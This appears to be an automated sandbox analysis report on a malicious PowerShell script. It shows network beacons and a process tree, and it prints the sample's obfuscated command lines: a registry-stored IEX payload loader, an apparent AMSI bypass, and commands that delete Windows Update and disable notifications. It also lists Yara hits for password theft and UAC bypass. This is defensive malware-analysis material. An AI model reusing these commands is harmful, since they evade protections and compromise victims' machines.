b=document.createElement("script");b.src="//e.dtscout.com/e/?v=1a&pid=5200&site=1&l="+encodeURIComponent(window.location.href)+"&j="+encodeURIComponent(document.referrer);b.async="async"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49712	142.4.219.198	443	3008	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 22:11:19 UTC	377	OUT	GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_first_run_elevated_true HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s4.histats.com Connection: Close Cache-Control: no-cache
2025-02-05 22:11:19 UTC	135	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 22:11:19 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 376 Connection: close
2025-02-05 22:11:19 UTC	376	IN	Data Raw: 5f 48 53 54 5f 63 6e 74 76 61 6c 3d 22 49 6e 69 74 69 61 6c 69 7a 69 6e 67 2e 2e 22 3b 63 68 66 68 28 5f 48 53 54 5f 63 6e 74 76 61 6c 29 3b 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 62 2e 73 72 63 3d 22 2f 2f 65 2e 64 74 73 63 6f 75 74 2e 63 6f 6d 2f 65 2f 3f 76 3d 31 61 26 70 69 64 3d 35 32 30 30 26 73 69 74 65 3d 31 26 6c 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2b 22 26 6a 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 3b 0a 62 2e 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 Data Ascii: _HST_cntval="Initializing..";chfh(_HST_cntval);;!function(){try{var b=document.createElement("script");b.src="//e.dtscout.com/e/?v=1a&pid=5200&site=1&l="+encodeURIComponent(window.location.href)+"&j="+encodeURIComponent(document.referrer);b.async="async"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49713	142.4.219.198	443	3008	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 22:11:20 UTC	363	OUT	GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_error_5_b HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s4.histats.com Connection: Close Cache-Control: no-cache
2025-02-05 22:11:20 UTC	135	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 22:11:20 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 376 Connection: close
2025-02-05 22:11:20 UTC	376	IN	Data Raw: 5f 48 53 54 5f 63 6e 74 76 61 6c 3d 22 49 6e 69 74 69 61 6c 69 7a 69 6e 67 2e 2e 22 3b 63 68 66 68 28 5f 48 53 54 5f 63 6e 74 76 61 6c 29 3b 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 62 2e 73 72 63 3d 22 2f 2f 65 2e 64 74 73 63 6f 75 74 2e 63 6f 6d 2f 65 2f 3f 76 3d 31 61 26 70 69 64 3d 35 32 30 30 26 73 69 74 65 3d 31 26 6c 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2b 22 26 6a 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 3b 0a 62 2e 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 Data Ascii: _HST_cntval="Initializing..";chfh(_HST_cntval);;!function(){try{var b=document.createElement("script");b.src="//e.dtscout.com/e/?v=1a&pid=5200&site=1&l="+encodeURIComponent(window.location.href)+"&j="+encodeURIComponent(document.referrer);b.async="async"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49714	142.4.219.198	443	3008	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 22:11:20 UTC	361	OUT	GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_error_5 HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s4.histats.com Connection: Close Cache-Control: no-cache
2025-02-05 22:11:20 UTC	135	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 22:11:20 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 376 Connection: close
2025-02-05 22:11:20 UTC	376	IN	Data Raw: 5f 48 53 54 5f 63 6e 74 76 61 6c 3d 22 49 6e 69 74 69 61 6c 69 7a 69 6e 67 2e 2e 22 3b 63 68 66 68 28 5f 48 53 54 5f 63 6e 74 76 61 6c 29 3b 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 62 2e 73 72 63 3d 22 2f 2f 65 2e 64 74 73 63 6f 75 74 2e 63 6f 6d 2f 65 2f 3f 76 3d 31 61 26 70 69 64 3d 35 32 30 30 26 73 69 74 65 3d 31 26 6c 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2b 22 26 6a 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 3b 0a 62 2e 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 Data Ascii: _HST_cntval="Initializing..";chfh(_HST_cntval);;!function(){try{var b=document.createElement("script");b.src="//e.dtscout.com/e/?v=1a&pid=5200&site=1&l="+encodeURIComponent(window.location.href)+"&j="+encodeURIComponent(document.referrer);b.async="async"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49715	142.4.219.198	443	3008	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 22:11:26 UTC	382	OUT	GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_first_run_after_load_failure HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s4.histats.com Connection: Close Cache-Control: no-cache
2025-02-05 22:11:26 UTC	135	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 22:11:26 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 376 Connection: close
2025-02-05 22:11:26 UTC	376	IN	Data Raw: 5f 48 53 54 5f 63 6e 74 76 61 6c 3d 22 49 6e 69 74 69 61 6c 69 7a 69 6e 67 2e 2e 22 3b 63 68 66 68 28 5f 48 53 54 5f 63 6e 74 76 61 6c 29 3b 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 62 2e 73 72 63 3d 22 2f 2f 65 2e 64 74 73 63 6f 75 74 2e 63 6f 6d 2f 65 2f 3f 76 3d 31 61 26 70 69 64 3d 35 32 30 30 26 73 69 74 65 3d 31 26 6c 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2b 22 26 6a 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 3b 0a 62 2e 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 Data Ascii: _HST_cntval="Initializing..";chfh(_HST_cntval);;!function(){try{var b=document.createElement("script");b.src="//e.dtscout.com/e/?v=1a&pid=5200&site=1&l="+encodeURIComponent(window.location.href)+"&j="+encodeURIComponent(document.referrer);b.async="async"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49717	149.56.240.132	443	6164	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 22:12:19 UTC	294	OUT	GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detected HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: s4.histats.com Connection: Close Cache-Control: no-cache
2025-02-05 22:12:19 UTC	135	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 22:12:19 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 376 Connection: close
2025-02-05 22:12:19 UTC	376	IN	Data Raw: 5f 48 53 54 5f 63 6e 74 76 61 6c 3d 22 49 6e 69 74 69 61 6c 69 7a 69 6e 67 2e 2e 22 3b 63 68 66 68 28 5f 48 53 54 5f 63 6e 74 76 61 6c 29 3b 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 62 2e 73 72 63 3d 22 2f 2f 65 2e 64 74 73 63 6f 75 74 2e 63 6f 6d 2f 65 2f 3f 76 3d 31 61 26 70 69 64 3d 35 32 30 30 26 73 69 74 65 3d 31 26 6c 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2b 22 26 6a 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 3b 0a 62 2e 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 Data Ascii: _HST_cntval="Initializing..";chfh(_HST_cntval);;!function(){try{var b=document.createElement("script");b.src="//e.dtscout.com/e/?v=1a&pid=5200&site=1&l="+encodeURIComponent(window.location.href)+"&j="+encodeURIComponent(document.referrer);b.async="async"

Statistics

CPU Usage

• powershell.exe
• conhost.exe
• svchost.exe
• powershell.exe
• conhost.exe
• cmd.exe
• conhost.exe
• cmd.exe
• powershell.exe
• svchost.exe
• SgrmBroker.exe
• svchost.exe
• svchost.exe
• svchost.exe
• cmd.exe
• reg.exe
• cmd.exe
• sc.exe
• cmd.exe
• sc.exe
• cmd.exe
• sc.exe
• cmd.exe
• reg.exe
• cmd.exe
• reg.exe
• cmd.exe
• reg.exe
• cmd.exe
• powercfg.exe
• MpCmdRun.exe
• conhost.exe

Click to jump to process

Memory Usage

• powershell.exe
• conhost.exe
• svchost.exe
• powershell.exe
• conhost.exe
• cmd.exe
• conhost.exe
• cmd.exe
• powershell.exe
• svchost.exe
• SgrmBroker.exe
• svchost.exe
• svchost.exe
• svchost.exe
• cmd.exe
• reg.exe
• cmd.exe
• sc.exe
• cmd.exe
• sc.exe
• cmd.exe
• sc.exe
• cmd.exe
• reg.exe
• cmd.exe
• reg.exe
• cmd.exe
• reg.exe
• cmd.exe
• powercfg.exe
• MpCmdRun.exe
• conhost.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Target ID:	0
Start time:	17:11:03
Start date:	05/02/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\SUS.ps1"
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:11:03
Start date:	05/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:11:09
Start date:	05/02/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	17:11:11
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" $lambczojaanjr=[System.Text.Encoding]::ASCII.GetString($(gp HKCU:\Software\cudyoiiqiyyyd).iaetrrvsxsjkc); ri -Force HKCU:\Software\cudyoiiqiyyyd; IEX($lambczojaanjr)
Imagebase:	0x9c0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:11:12
Start date:	05/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:11:15
Start date:	05/02/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Sysnative\cmd.exe" /C "echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^^^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^^^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^^^\|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^^^\|%{[char]($_/4)})-join'') ^^^\| ^^^&($oktoundiveemzaynfo) \| %WinDir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:11:15
Start date:	05/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:11:15
Start date:	05/02/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^\|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^\|%{[char]($_/4)})-join'') ^\| ^&($oktoundiveemzaynfo) "
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:11:15
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -
Imagebase:	0x9c0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:11:15
Start date:	05/02/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:11:16
Start date:	05/02/2025
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff7648e0000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	17:11:16
Start date:	05/02/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	17:11:16
Start date:	05/02/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	17:11:16
Start date:	05/02/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	17:11:16
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /C reg query HKCU\Software\Ucizah /v efxucieqo
Imagebase:	0xf20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:11:16
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg query HKCU\Software\Ucizah /v efxucieqo
Imagebase:	0xaf0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:11:20
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C sc stop wuauserv
Imagebase:	0xf20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:11:20
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop wuauserv
Imagebase:	0xa50000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:11:20
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C sc config wuauserv start= disabled
Imagebase:	0xf20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:11:21
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc config wuauserv start= disabled
Imagebase:	0xa50000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:11:21
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C sc delete wuauserv
Imagebase:	0xf20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:11:21
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc delete wuauserv
Imagebase:	0xa50000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	17:11:22
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f
Imagebase:	0xf20000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	17:11:22
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
